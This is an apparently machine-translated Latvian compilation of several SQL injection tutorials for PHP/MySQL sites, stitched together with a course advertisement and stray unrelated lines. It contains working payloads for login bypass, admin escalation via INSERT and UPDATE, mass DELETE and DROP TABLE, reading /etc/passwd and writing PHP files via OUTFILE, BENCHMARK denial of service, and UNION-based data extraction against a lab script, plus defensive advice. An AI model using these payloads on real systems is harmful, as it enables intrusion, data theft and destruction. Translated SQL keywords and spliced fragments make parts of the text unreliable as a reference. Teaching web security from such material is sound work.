SELECT * FROM `users` WHERE `login`="admin" AND `password`="" VAI "1"="1";

kas atgriezīs rezultātu un rezultātā novedīs pie nesankcionētas autorizācijas. Ko darīt, ja tabulā esošās paroles ir sajauktas? Pēc tam paroles pārbaude tiek vienkārši “atspējota”, komentējot visu, kas nāk pēc “pieteikšanās”. Veidlapā pieteikšanās vietā tiek piešķirts īstā lietotāja pieteikšanās vārds un "#, tādējādi komentējot paroles pārbaudi.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

kā opciju "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" VAI `id`=2#" UN `password`="12345"

SELECT * FROM `users` WHERE `login`="" VAI `admin`="1"#" UN `password`="12345"

Liela kļūda ir pārbaudīt paroli šādi:

SELECT * FROM `users` WHERE `login`="$login" UN `password` LIKE "$password"

jo šajā gadījumā parole % ir piemērota jebkurai pieteikšanās reizei

IEVIETOT UN ATJAUNINĀT

Tomēr ne tikai SELECT ir vājā vieta SQL. INSERT un UPDATE var būt ne mazāk neaizsargāti. Pieņemsim, ka vietnei ir iespēja reģistrēt lietotājus. Vaicājums, kas pievieno jaunu lietotāju:

Ievainojamība vienā no laukiem ļauj mainīt pieprasījumu ar nepieciešamajiem datiem. Pieteikšanās laukā mēs pievienojam lietotāju, "paroli", 1)#, tādējādi pievienojot lietotāju ar administratora tiesībām.

INSERT `users` SET `login`="lietotājs", `password`="parole", `admin`="0";

Pieņemsim, ka lauks "admin" atrodas pirms lauka "login", tāpēc triks, ar kuru tiek aizstāti dati, kas nāk pēc lauka "login", nedarbojas. Atcerēsimies, ka komandas INSERT sintakse ļauj pievienot ne tikai vienu rindiņu, bet vairākas. Ievainojamības piemērs pieteikšanās laukā: $login= user", "password"), (1, "hacker", "password")#

INSERT INTO `users` SET (`admin`, `login`, `password) VĒRTĪBAS (0, "lietotājs", "parole"), (1, "hacker", "password")#, "password") ;

Tādā veidā tiek izveidoti 2 ieraksti, viens ar vienkārša lietotāja tiesībām, otrs ar vēlamajām admin tiesībām.

Līdzīga situācija ar UPDATE

Papildu maināmo lauku pievienošana:

$login=", `password`="", `admin`="1

Tad līdzīgs pieprasījums

ATJAUNINĀT `lietotājus` SET `login`="tējkanna" WHERE `id`=2;

Modificēts šādi:

UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;

Kas notiks? Lietotājs ar ID 2 mainīs pieteikumvārdu un paroli uz tukšām vērtībām un saņems administratora tiesības. Vai gadījumā

$login=", `password`="" WHERE `id` =1#

Administratora pieteikumvārds un parole būs tukši.

DZĒST

Šeit viss ir vienkārši, jūs nevarēsiet iegūt vai mainīt datus, taču vienmēr varat dzēst nevajadzīgos datus.

$id=1 VAI 1=1

DZĒST NO `ziņām`, KUR `id`="1" VAI 1=1; // notīra visus ierakstus tabulā.

1=1 vietā var būt jebkurš iepriekš minētais patiesais nosacījums. Parametru LIMIT var saglabāt, kas ierobežos dzēsto rindu skaitu, bet ne vienmēr, to var vienkārši komentēt.

DZĒST NO `ziņu`, KUR `id`="1" VAI 1=1# IEROBEŽOTS 1;

Darbs ar failiem, izmantojot SQL injekciju

Es nopietni šaubos, ka tas var notikt jebkur, bet, lai būtu godīgi, arī šādas metodes ir jāapraksta. Kad faila privilēģijas ir iespējotas, varat izmantot komandas LOAD_FILE un OUTFILE.

To bīstamību var spriest no tālāk norādītajiem vaicājumiem:

SELECT * FROM `news` WHERE `id`=-1 savienība atlasiet null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Bet ar to visas nepatikšanas vēl nebeidzas.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` outfile "/home/test/www/test.php";

Tādā veidā mēs rakstām failu, kas satur PHP kodu. Tiesa, bez koda tajā būs vēl vairāki nulles ieraksti, taču tas nekādā veidā neietekmēs PHP koda veiktspēju. Tomēr ir vairāki nosacījumi, kuru dēļ šīs metodes darbosies:

  • Pašreizējam datu bāzes lietotājam ir iespējota FILE privilēģija;
  • Tiesības lasīt vai rakstīt šos failus ir lietotājam, saskaņā ar kuru darbojas MySQL serveris, absolūtais ceļš uz failu;
  • mazāk svarīgs nosacījums ir tas, ka faila izmēram jābūt mazākam par max_allowed_packet, taču, tā kā MySQL 3.23 lielākais pakotnes izmērs var būt 16 MB, bet 4.0.1 un vairāk, pakotnes lielumu ierobežo tikai pieejamās atmiņas apjoms, līdz teorētiskajam maksimumam 2 GB šis nosacījums parasti vienmēr ir pieejams.

Burvju citāti

Maģiskās pēdiņas padara neiespējamu SQL injekciju izmantošanu virkņu mainīgajos, jo tās automātiski izlaiž visus " un ", kas nāk ar $_GET un $_POST. Bet tas neattiecas uz ievainojamību izmantošanu veselu skaitļu vai daļskaitļu parametros, lai gan ar grozījumu, ka to nevarēs izmantot ". Šajā gadījumā palīdz funkcija char.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS, izmantojot SQL injekciju.

Gandrīz aizmirsu pateikt, un SQL eksperti apstiprinās, ka UNION darbība ir iespējama tikai MySQL >=4.0.0. Cilvēki, kuriem ir projekti par iepriekšējām versijām, atviegloti uzelpoja :) Bet ne viss ir tik droši, kā izskatās no pirmā acu uzmetiena. Uzbrucēja loģikai dažkārt ir grūti sekot. "Ja es nevaru uzlauzt, vismaz man neizdosies," hakeris domās, ierakstot BENCHMARK funkciju, lai parādītu pieprasījuma piemēru.

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Man tas prasīja no 12 līdz 15 sekundēm. Nulles pievienošana - 174 sekundes. Es vienkārši nevarēju pacelt roku, lai paveiktu vairāk. Protams, uz jaudīgajiem serveriem šādas lietas tiks paveiktas daudz ātrāk, bet...BENCHMARK ļauj investēt sevi pa vienam. Kā šis:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Vai pat šādi

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

Un nulles skaitu ierobežo tikai tā “laipnība”, kas tās raksta.

Domāju, ka pat ĻOTI jaudīga mašīna nespēs viegli norīt šādus pieprasījumus.

Apakšējā līnija

Tas ir viss. Šajā rakstā es centos pēc iespējas vairāk aptvert ievainojamību veidus, ko programmētāji rada, veidojot programmas, izmantojot MySQL datu bāzes. Tomēr esmu vairāk nekā pārliecināts, ka šis nav pilnīgs saraksts.

Ir svarīgi atcerēties noteikumus pret SQL injekcijām

  • Neuzticieties NEVIENIEM datiem, kas nāk no lietotāja. Mēs nerunājam tikai par datiem, kas tiek pārsūtīti $_GET un $_POST masīvos. Neaizmirstiet par $_COOKIE un citām HTTP galveņu daļām. Jāatceras, ka tos ir viegli nomainīt.
  • Jums nevajadzētu paļauties uz PHP opciju “burvju citāti”, kas, iespējams, vairāk traucē, nekā palīdz. Visi dati, kas tiek pārsūtīti uz datu bāzi, ir jāapkopo pēc veida ar datu bāzes laukiem. ($id=(int)$_GET["id"]) vai aizsargāts ar mysql_real_escape_string vai mysql_real_escape_string funkcijām.
  • mysql_real_escape_string neatkāpjas no % un _, tāpēc to nevajadzētu lietot kopā ar LIKE.
  • Nevajadzētu arī pārāk paļauties uz pareizi uzrakstītu mod_rewrite. Šie ir tikai veidi, kā izveidot “ērtus” vietrāžus URL, bet noteikti ne veids, kā aizsargāties pret SQL injekcijām.
  • Atspējot kļūdu ziņošanu.
  • Nepalīdziet sliktiem apmeklētājiem. Pat ja kļūda tiek konstatēta, informācijas trūkums par to nopietni apgrūtinās tās piemērošanu. Atcerieties atšķirību starp izstrādes posmu un darba projektu. Kļūdas izvade un cita detalizēta informācija - jūsu sabiedrotais izstrādes stadijā, un uzbrucēja sabiedrotais darba versijā. Nevajag arī tos slēpt komentējot HTML kodā uz katriem 1000 apmeklētājiem būs 1, kurš tādas lietas vēl atradīs.
  • Apstrādājiet kļūdas.
  • Rakstiet apstrādes SQL vaicājumus tā, lai informācija par tiem tiktu saglabāta dažos žurnālos vai nosūtīta pa pastu.
  • Neglabājiet datu bāzes piekļuves datus failos, kurus PHP neapstrādā kā kodu.
  • Es nedomāju, ka kādam esmu atklājis Ameriku, bet no savas pieredzes varu teikt, ka šāda prakse ir diezgan izplatīta. Parasti tas ir fails ar paplašinājumu *.inc
  • Neveidojiet datubāzi "superlietotājs".
  • Piešķirt tikai tiesības, kas nepieciešamas konkrētu uzdevumu veikšanai.
  • Meklēšanā ir vērts ierobežot minimālo un maksimālo rakstzīmju skaitu, kas ir vaicājuma parametri.
  • Godīgam lietotājam pietiek ar 3 līdz 60-70 rakstzīmēm, lai apmierinātu meklēšanas intereses, un tajā pašā laikā jūs novēršat situācijas, kad meklēšanas vaicājums būs “Kara un miera” apjoms.
  • Vienmēr pārbaudiet pēc vaicājuma atgriezto ierakstu skaitu

Gandrīz 90% vietņu ir rakstītas PHP Ir tāda loģiska kļūda, īpaši to var novērot, ja tiek veikts pieprasījums, pamatojoties uz no lietotāja saņemto ID. Ja jūs manuāli piešķirat skriptam neesošu ID, mēs redzēsim diezgan interesantus rezultātus no dažu skriptu darba. , tā vietā, lai atgrieztu 404, programma labākajā gadījumā neko nedarīs un parādīs tukšā lapā.

Drošs SQL jums.

Piedāvājam jūsu uzmanībai jaunu komandas kursu Kodbijs- "Tīmekļa lietojumprogrammu iespiešanās pārbaude no nulles." Vispārējā teorija, darba vides sagatavošana, pasīvā izplūšana un pirkstu nospiedumu noņemšana, aktīvā izplūde, ievainojamības, pēcekspluatācija, rīki, sociālā inženierija un daudz kas cits.


SQL injekciju būtība

Jūs droši vien jau esat dzirdējuši joku no interneta: “ Kāpēc tas ir vienāds visās zīmēšanas stundās: Piemēram, nodarbība par pūces zīmēšanu. Vispirms pusstundu sīki zīmējam pūces aci. Un tad - vienu reizi - piecās minūtēs - mēs uzzīmējam pārējo pūci».

Ir pat bilde par šo:

Ir daudz materiālu par SQL injekcijām: raksti, grāmatas, video kursi (maksas un bezmaksas). Tomēr ne daudzi no viņiem pievieno izpratni par šo jautājumu. It īpaši, ja esat iesācējs. Es labi atceros savas sajūtas: te ir aplis, te ir pārējā pūce...

Šīs piezīmes mērķis ir pievērst pūcei aci, lai sniegtu normālu, vienkāršu skaidrojumu, kas ir SQL injekcijas, kāda ir to būtība, cik tās ir bīstamas un kāpēc.

Eksperimentiem mums būs ļoti vienkāršs skripts, kas ir neaizsargāts pret SQL injekciju:

Lai piekļūtu Bobruiskas reģionālajai bibliotēkai, ievadiet savus akreditācijas datus:

Ievadiet savu vārdu

Ievadiet savu paroli


query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET rakstzīmju_kopas_klients = UTF8"); $mysqli->query("SET rakstzīmju_kopas_savienojums = UTF8"); $mysqli->query("SET rakstzīmju_kopas_rezultāti = UTF8"); ) $nosaukums = filtra_ievade(INPUT_GET, "nosaukums"); $parole = filter_input(INPUT_GET, "parole"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" UN parole = $parole")) ( while ($obj = $result->fetch_object()) ( atbalss "

Tavs vārds:$obj->nosaukums

Jūsu statuss:$obj->statuss

Jums pieejamas grāmatas:$obj->grāmatas


"; ) ) else ( printf("Kļūda: %sn", $mysqli->kļūda); ) $mysqli->close(); ?>

Tu sapratīsi daudz vairāk, ja darīsi visu kopā ar mani. Tātad šeit tas ir. Tajā ir divi faili: indekss.php Un db_library.sql. Novietojiet failu index.php jebkur serverī — tas ir mūsu neaizsargātais skripts. Un db_library.sql fails ir jāimportē, piemēram, izmantojot phpMyAdmin.

Failā index.php datu bāzes lietotājvārds ir iestatīts uz root un parole ir tukša. Jūs varat ievadīt savus datus, rediģējot rindu:

$mysqli = jauns mysqli("localhost", "root", "", "db_library");

Saskaņā ar leģendu, šī ir pieteikšanās veidlapa Bobruiskas reģionālās bibliotēkas tiešsaistes versijai. Mums jau ir doti akreditācijas dati: lietotājvārds - Demo, parole - 111.

Ievadīsim tos un redzēsim:

Mūsu akreditācijas dati ir pieņemti, mūsu vārds, statuss un mums pieejamās grāmatas tiek parādītas ekrānos. Varat mēģināt ar jebkuriem citiem datiem (ja mainīsiet savu vārdu vai paroli), mēs nevarēsim pieteikties un apskatīt lasīšanai pieejamās grāmatas. Mēs arī nevaram zināt, kuras grāmatas ir pieejamas citiem, jo ​​mēs nezinām viņu lietotājvārdu un paroli.

Apskatīsim avota kodu, lai saprastu, kā notika datu bāzes pieprasījums:

SELECT * FROM `members` WHERE name = "$name" AND parole = "$password"

Vārds ATLASĪT SQL vaicājumā parāda, kādi dati ir jāizgūst. Piemēram, varat norādīt SELECT nosaukumu vai SELECT nosaukumu, paroli. Tad pirmajā gadījumā no tabulas tiktu iegūts tikai vārds, bet otrajā - tikai vārds un parole. Zvaigznīte norāda, ka jums ir jāiegūst visas vērtības. Tie. SELECT * - tas nozīmē iegūt visas vērtības.

NO norāda, no kurienes jums tie jāiegūst. Aiz FROM ir tabulas nosaukums, t.i., ierakstā FROM "biedri" ir teikts, ka iegūstiet no tabulas "biedri".

Tālāk KUR, ja esi mācījies kādas programmēšanas valodas, tad šis vārds visvairāk līdzinās “Ja”. Un tad ir nosacījumi, šie nosacījumi var būt patiesi (1) vai nepatiesi (0). Mūsu gadījumā

(nosaukums = '$name') UN (parole ='$parole')

nozīmē, ka nosacījums būs patiess, ja nodotais mainīgais $name ir vienāds ar nosaukuma lauka vērtību tabulā un nodotais mainīgais '$password ir vienāds ar paroles lauka vērtību tabulā. Ja nav izpildīts vismaz viens nosacījums (nepareizs lietotājvārds vai parole), tad no tabulas nekas netiks ņemts, t.i., izteiksme SELECT * FROM `members` WHERE name = '$name' AND password ='$password' nozīmē : in tabulu "biedri", ņemiet visu lauku vērtības, ja tiem ir izpildīts nosacījums - nodotais lietotājvārds un parole atbilst tabulā atrodamajiem.

Tas ir skaidrs. Tagad, piemēram, ievietosim vienu citātu ar lietotājvārdu:

Adreses josla:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Dati netika saņemti, tā vietā tiek parādīta kļūda:

Kļūda: jūsu SQL sintaksē ir kļūda; pārbaudiet rokasgrāmatu, kas atbilst jūsu MySQL servera versijai, lai atrastu pareizo sintaksi, ko izmantot blakus "111" 1. rindiņā

Kad ievadījām pareizos datus, mūsu pieprasījums izskatījās šādi:

SELECT * FROM `biedri` WHERE vārds = "Demonstrācija" UN parole = "111"

Pievienojot citātu, mūsu vaicājums kļūst par:

SELECT * FROM `members` WHERE name = "Demo" " UN parole = "111"

Ieliku papildu atstarpes skaidrības labad, t.i., pieprasījumu saņemam

Starp citu, pieprasījums ir pareizs sintaksē. Un tūlīt pēc tā, bez atdalītājiem, pieprasījums turpinās:

"UN parole="111"

Tas visu izjauc, jo sākuma un beigu pēdiņu skaits nav vienāds. Piemēram, varat ievietot citu citātu:

SELECT * FROM `members` WHERE name = "Demo" " " UN parole = "111"

Adreses josla:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Kļūda pazuda, taču tas nepiešķīra pieprasījumam nekādu nozīmi. Pieprasījuma bezjēdzīgā aste mūs nomāc. Kā mēs varam no tā atbrīvoties?

Ir atbilde – tie ir komentāri.

MySQL komentārus var norādīt trīs veidos:

# (hash — darbojas līdz rindas beigām)

(divas domuzīmes - strādājiet līdz rindas beigām, pēc divām domuzīmēm ir nepieciešama atstarpe)

/* šis ir komentārs */ četru rakstzīmju grupa - viss iekšā ir komentārs, viss pirms vai pēc šīs rakstzīmju grupas netiek uzskatīts par komentāru.

Ieliksim savā vaicājumā komentāru ar vienu citātu, aiz šī citāta ievietojam komentāra zīmi, lai atmestu asti, un + zīmi, kas apzīmē atstarpi, lai vaicājums izrādītos šāds:

SELECT * FROM `members` WHERE name = "Demo" --+ " UN parole = "111"

Adreses josla:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’—+&password=111

Kļūda ne tikai pazuda, bet demonstrācijas lietotājam tika parādīti pareizi dati. Kopš šī brīža mūsu pieprasījums ir pieņemts šādā formā

SELECT * FROM `biedri` WHERE name = "Demo"

galu galā zirgaste —+ ‘UN parole =’111’ pārvērtās par komentāru un vairs neietekmē pieprasījumu.

Vēlreiz uzmanīgi apskatiet jauno pieprasījumu:

SELECT * FROM `biedri` WHERE name = "Demo"

Un tas vairs nepārbauda paroli! Tie. Zinot likumīgo lietotāju vārdus, bet nezinot viņu paroles, mēs varam apskatīt viņu personas datus. Tie. Mēs jau esam sākuši izmantot SQL injekciju.

Diemžēl es nezinu nevienu likumīgu nosaukumu, un man ir jāizdomā kaut kas cits.

Sīkāk apskatīsim šo pieprasījuma daļu:

WHERE nosaukums = "Demo"

Atcerieties UN, kas tiek izmantots pirmajā vaicājumā? Tas apzīmē loģisko UN darbību. Atgādināšu, ka loģiskā darbība “UN” rada “true” (1) tikai tad, ja abas izteiksmes ir patiesas. Bet loģiskais operators "OR" rada "true" (1), pat ja vismaz viena no izteiksmēm ir patiesa. Tie. izteiksme

WHERE nosaukums = "Demo" VAI 1

vienmēr būs patiess, vienmēr atgriezīs 1. Jo viena no divām salīdzināmajām izteiksmēm vienmēr atgriezīs 1.

Tie. mums ir jāizveido izteiksme, kas izskatās šādi:

SELECT * FROM `biedri` WHERE name = "Demo" VAI 1

Adreses josla:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ VAI 1 —+ &password=111

Rezultāts:

Rezultāts ir izcils! Mēs saņēmām visu tabulā esošo ierakstu sarakstu.

ORDER BY un UNION ir galvenie SQL injekciju draugi

Mēs jau esam saņēmuši datus, kas nebija pieejami tiem, kuriem nebija derīga lietotājvārda un paroles. Vai ir vēl kaut kas, ko es varu dabūt? Jā, jūs varat iegūt pilnu šīs tabulas izgāztuvi (atgādināšu, mums joprojām nav paroļu. Turklāt mēs varam iegūt visus datus no visām šī servera datu bāzēm caur vienu sīku caurumu!

UNION ļauj apvienot SQL vaicājumus. Reālajā dzīvē mani uzdevumi ir vienkārši, tāpēc es neizmantoju vienkāršus datu bāzu vaicājumus un UNION iespējas. Bet SQL injekcijām nav vērtīgāka vārda par šo.

UNION ļauj diezgan elastīgi apvienot SQL vaicājumus ar SELECT, tostarp no dažādām datu bāzēm. Bet ir svarīga sintakses prasība: kolonnu skaitam pirmajā SELECT ir jābūt vienādam ar kolonnu skaitu otrajā SELECT.

ORDER BY norāda no tabulas saņemto datu šķirošanu. Varat kārtot pēc kolonnas nosaukuma vai tās numura. Turklāt, ja nav kolonnas ar šo numuru, tiks parādīta kļūda:

Adreses josla:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ PASĀKOT PĒC 1 —+ &password=111

Pieprasījums izskatās šādi:

SELECT * FROM `biedri` WHERE name = "-1" ORDER BY 1

Mēs aizstājām lietotājvārdu ar -1, lai netiktu parādīti dati.

Nav kļūdu, nav arī kļūdu ar pieprasījumiem

SELECT * FROM `biedri` WHERE vārds = "-1" ORDER BY 2 SELECT * FROM `biedri` WHERE vārds = "-1" ORDER BY 3 SELECT * FROM `biedri` WHERE vārds = "-1" ORDER BY 4 SELECT * NO `biedriem`, KUR vārds = "-1" SĀKOT PĒC 5

Un šeit ir lūgums

SELECT * FROM `biedri` WHERE name = "-1" ORDER BY 6

tas atbilst adreses virknei

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ PASŪTĪT PĒC 6 —+ &password=111

Tas radīja kļūdu

Kļūda: nezināma kolonna "6" sadaļā "pasūtīšanas klauzula"

Tas nozīmē, ka dati tiek atlasīti no tabulas piecās kolonnās.

Mēs veidojam savu vaicājumu ar UNION:

Kā jau teicu, lauku skaitam jābūt vienādam abos SELECT, bet tas, kas ir šajos laukos, nav īpaši svarīgi. Varat, piemēram, vienkārši ievadīt ciparus – un tie tiks parādīti. Var ievadīt NULL – tad lauka vietā nekas netiks rādīts.

SELECT * FROM `biedri` WHERE name = "-1" UNION SELECT 1,2,3,4,5

Adreses josla:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 —+ &password=111

Vēl viens veids, kā atrast kolonnu skaitu, ir izmantot to pašu UNION. Izmantojot kāpnes, mēs pievienojam kolonnu skaitu:

SELECT * FROM `biedri` WHERE nosaukums = "-1" UNION SELECT 1 SELECT * FROM `biedri` WHERE nosaukums = "-1" SAVIENĪBAS SELECT 1,2 SELECT * FROM `biedri` WHERE nosaukums = "-1" UNION SELECT 1 ,2,3 SELECT * FROM `biedri` WHERE name = "-1" UNION SELECT 1,2,3,4

Tie visi radīs vienu un to pašu kļūdu:

Kļūda: izmantotajiem SELECT priekšrakstiem ir atšķirīgs kolonnu skaits

Dariet to, līdz kļūdas ziņojums pazūd.

Lūdzu, ņemiet vērā, ka ekrānā tiek parādīts dažu UNION SELECT 1,2,3,4,5 lauku saturs. Ciparu vietā varat norādīt funkcijas.

Ko rakstīt SELECT

Ir dažas funkcijas, kuras var ierakstīt tieši UNION:

  • DATU BĀZE()— parādīt pašreizējās datu bāzes nosaukumu
  • PAŠREIZĒJAIS LIETOTĀJS()- parāda lietotājvārdu un resursdatora nosaukumu
  • @@datadir- parāda absolūto ceļu uz datu bāzi
  • LIETOTĀJS()- Lietotājvārds
  • VERSIJA()— datu bāzes versija

Mūsu piemērā tiek parādīti lauki 2, 4 un 5, t.i. mēs varam izmantot jebkuru no šiem laukiem.

Izmantojot DATABASE() UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATU BĀZE() —+ &password=111

Rezultāts:

Izmantot CURRENT_USER() UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,CURRENT_USER() —+ &password=111

Rezultāts:

Izmantojot @@datadir UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,@@datadir —+ &password=111

Rezultāts:

Tabulu nosaukumu, lauku un datu bāzes izgāztuves iegūšana

Datu bāzē informācijas_shēma ir galds ar nosaukumu tabulas. Šajā tabulā ir visu tabulu saraksts, kas atrodas visās šī servera datu bāzēs. Mēs varam atlasīt savas tabulas, veicot meklēšanu laukā tabulas_shēma Mūsu datu bāzes nosaukums ir “db_library” (nosaukumu atradām, izmantojot DATABASE()).

To sauc par pilnu UNION tehniku. Internetā par to ir daudz materiālu. Manā MySQL serverī nedarbojas pilna UNION tehnika. Es saņemu kļūdu

Kļūda: nelegāla salīdzinājumu kombinācija operācijai "UNION"

Tas nedarbojas roku izliekuma dēļ, jo šis paņēmiens arī nesniedz rezultātus sqlmap:

Kaut kas nogāja greizi ar pilnu UNION tehniku ​​(iespējams, ir ierobežots izgūto ierakstu skaits). Atgriešanās pie daļējas UNION tehnikas

Tas var būt saistīts ar MySQL versiju 5.6. Jo Es nevaru minēt praktiskus piemērus, un mani neinteresē citu cilvēku bojāto komandu pārrakstīšana - tagad, pat bez manis, internetā ir tik daudz “lielo teorētiķu”, cik vēlaties, tāpēc nolēmu nekavējoties pāriet uz ņemot vērā daļējo UNION tehniku. Bet tas nav vienkāršākais paņēmiens, un raksts jau ir diezgan garš.

p.s. ak, jā, es aizmirsu par LIMIT. Nākamajā reizē es runāšu arī par LIMIT lomu SQL injekcijās.

Galvotājs ir uzticams starpnieks starp Dalībniekiem darījuma laikā.


Novēlam veiksmi tā izpildē. Jūsu pārgājiena rezultāti tiks publicēti vēlāk (sekojiet jaunumiem sociālajos tīklos), un visiem izturētājiem tiks nosūtīta arī uzaicināt reģistrēties vietnē.

Patīk, dalies ar draugiem un kolēģiem, pārpublicē sociālajos tīklos.

Visi programmētāji ir lasījuši vai vismaz dzirdējuši par vietnēm drošības uzlaušanas metodēm. Vai pat saskārās ar šo problēmu. No otras puses, to iztēle, kas vēlas uzlauzt vietni, ir bezgalīga, tāpēc visi sastrēgumi ir labi jāaizsargā. Tāpēc es vēlētos sākt īsu rakstu sēriju, kas iepazīstinās ar tīmekļa vietņu uzlaušanas pamata metodēm un paņēmieniem.

Pirmajā rakstā es vēlos aprakstīt un izskaidrot dažas izplatītas metodes, kā uzlauzt vienu no neaizsargātākajām vietnes daļām - veidlapām. Es sīkāk pastāstīšu par to, kā izmantot šīs metodes un kā novērst uzbrukumus, kā arī apskatīšu drošības testus.

SQL injekcija

SQL injekcija ir paņēmiens, kurā uzbrucējs ievada SQL komandas tīmekļa lapas ievades laukā. Šis ievads var būt jebkas - teksta lauks formā, _GET un _POST parametri, sīkfaili utt. Šī metode bija ļoti efektīva pirms ietvaru parādīšanās PHP pasaulē. Taču šī uzlaušana joprojām var būt bīstama, ja neizmantojat ORM vai citus datu objekta paplašinājumus. Kāpēc? Sakarā ar to, kā parametri tiek nodoti SQL vaicājumam.

"Aklās" injekcijas

Sāksim ar klasisku piemēru SQL priekšrakstam, kas atgriež lietotāju pēc viņa pieteikšanās un paroles jaucējkoda (pieteikšanās lapa)

1. piemērs

mysql_query("SELECT id, pieteikšanās NO lietotājiem WHERE login =? un parole = hash(?)");

Izteiksmē ievietoju jautājuma zīmes, jo šim risinājumam ir dažādas variācijas. Pirmā iespēja, manuprāt, ir visneaizsargātākā:

1.a piemērs

Mysql_query("SELECT id, pieteikšanās NO lietotājiem WHERE login = "" . $pieteikšanās . "" un parole = hash("" . $parole . "")");

Šajā gadījumā kods nepārbauda nederīgu datu ievadi. Vērtības tiek nodotas tieši no ievades formas uz SQL vaicājumu. Labākajā gadījumā lietotājs šeit ievadīs savu lietotājvārdu un paroli. Kāds ir sliktākais scenārijs? Mēģināsim uzlauzt šo veidlapu. To var izdarīt, nododot "sagatavotus" datus. Mēģināsim pieteikties kā pirmais lietotājs no datu bāzes, un vairumā gadījumu tas ir administratora konts. Lai to izdarītu, mēs nosūtīsim īpašu virkni, nevis ievadīsim pieteikumvārdu:

"VAI 1=1; --

Pirmais citāts var būt arī viens citāts, tāpēc ar vienu uzlaušanas mēģinājumu var nepietikt. Beigās ir semikolu un divas defises, lai viss, kas nāk pēc tam, pārvērstos komentārā. Rezultātā tiks izpildīts šāds SQL vaicājums:

SELECT id, pieteikšanās NO lietotājiem WHERE login = “;” VAI 1=1 ROBEŽA 0,1; - un parole = hash (";Daļa parole")

Tas atgriezīs pirmo lietotāju no datu bāzes un, iespējams, pieteiksies lietojumprogrammā kā šis lietotājs. Labs solis būtu pievienot LIMIT, lai pieteiktos kā katram atsevišķam lietotājam. Tas ir vienīgais, kas nepieciešams, lai izietu cauri katrai vērtībai.

Nopietnāki veidi

Iepriekšējā piemērā viss nav tik biedējoši. Administratora vadības paneļa iespējas vienmēr ir ierobežotas, un tas prasīs daudz darba, lai faktiski izjauktu vietni. Bet uzbrukums, izmantojot SQL injekciju, var radīt daudz lielāku kaitējumu sistēmai. Padomājiet par to, cik lietojumprogrammu tiek izveidots ar galveno tabulu "lietotāji" un kas notiktu, ja uzbrucējs neaizsargātā formā ievadītu šādu kodu:

Mana iecienītākā pieteikšanās"; DROP TABLE lietotājus; --

Tabula "Lietotāji" tiks dzēsta. Tas ir viens no iemesliem, kāpēc datu bāzes dublējumkopijas jāveido biežāk.

_GET parametri

Visi veidlapā aizpildītie parametri tiek pārsūtīti uz serveri, izmantojot vienu no divām metodēm - GET vai POST. Visizplatītākais parametrs, kas tiek nodots, izmantojot GET, ir id. Šī ir viena no visneaizsargātākajām vietām uzbrukumiem, un nav nozīmes tam, kāda veida URL jūs izmantojat - ` http://example.com/ lietotāji/?id=1` vai ` http://example.com/ lietotāji/1` vai ` http://......./.../ pastu/35 `.

Kas notiek, ja URL ievietosim šādu kodu?

Http://example.com/users/?id=1 UN 1=0 UNION SELECT 1,concat(pieteikšanās,parole), 3,4,5,6 NO lietotājiem WHERE id =1; --

Iespējams, šāds pieprasījums atgriezīs lietotāja pieteikšanos un... viņa paroles jaucējkodu. Pieprasījuma pirmā daļa “UN 1=0” pārvērš to, kas ir pirms tās, par nepatiesu, tāpēc ieraksti netiks saņemti. Un pieprasījuma otrā daļa atgriezīs datus sagatavotu datu veidā. Un tā kā pirmais parametrs ir id, nākamais būs lietotāja pieteikšanās un viņa paroles jaucējvārds un daži citi parametri. Ir daudzas programmas, kas izmanto brutālu spēku, lai atšifrētu paroli, piemēram, piemērā. Un tā kā lietotājs var izmantot vienu un to pašu paroli dažādiem pakalpojumiem, ir iespējams tiem piekļūt.

Un šeit ir tas, kas ir ziņkārīgs: ir pilnīgi neiespējami aizsargāties pret šāda veida uzbrukumiem, izmantojot tādas metodes kā "mysql_real_escape_string", "addslashes" utt. d. Būtībā nav iespējams izvairīties no šāda uzbrukuma, tādēļ, ja parametri tiek nodoti šādi:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

problēmas nepazudīs.

Aizbēgt no rakstzīmēm virknē

Kad es biju iesācējs programmēšanas jomā, man bija grūti strādāt ar kodējumu. Es nesapratu, kāda ir atšķirība starp tiem, kāpēc izmantot UTF-8, kad vajag UTF-16, kāpēc datu bāzē vienmēr tiek iestatīts kodējums uz latin1. Kad es beidzot sāku to visu saprast, es atklāju, ka būtu mazāk problēmu, ja es visu saglabātu vienā kodēšanas standartā. Šķirojot visu šo, es pamanīju arī drošības problēmas, kas rodas, pārveidojot no viena kodējuma uz citu.

